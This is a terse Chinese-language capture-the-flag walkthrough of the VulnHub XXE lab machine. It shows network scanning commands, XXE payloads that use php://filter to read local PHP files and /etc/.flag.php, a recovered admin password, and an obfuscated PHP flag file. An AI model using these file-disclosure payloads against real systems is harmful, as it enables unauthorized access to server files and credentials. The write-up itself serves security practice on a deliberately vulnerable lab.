靶场复现 | vulhub-XXE

https: //download.vulnhub.com/xxe/XXE.zip

kali的IP：192.168.168.128（作为攻击机）XXE靶机未知

arp-scan -l

nmap 192.168.168.100-199（探测192.168.93.100到192.168.93.199之中的所有主机）

nmap -sA 192.168.168.0/24（探测0-24网段端口和服务）

http://192.168.168.129/robots.txt

http://192.168.168.129/xxe/admin.phphttp://192.168.168.129/xxe/

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">]><root><name>&admin;</name><password>admin</password></root>

administhebest / admin@123

http://192.168.168.129/xxe/admin.php

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">]><root><name>&admin;</name><password>admin</password></root>

<?php$flag = "";echo $flag;?>JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

/etc/.flag.php

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]><root><name>&admin;</name><password>admin</password></root>

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);

<?php ?>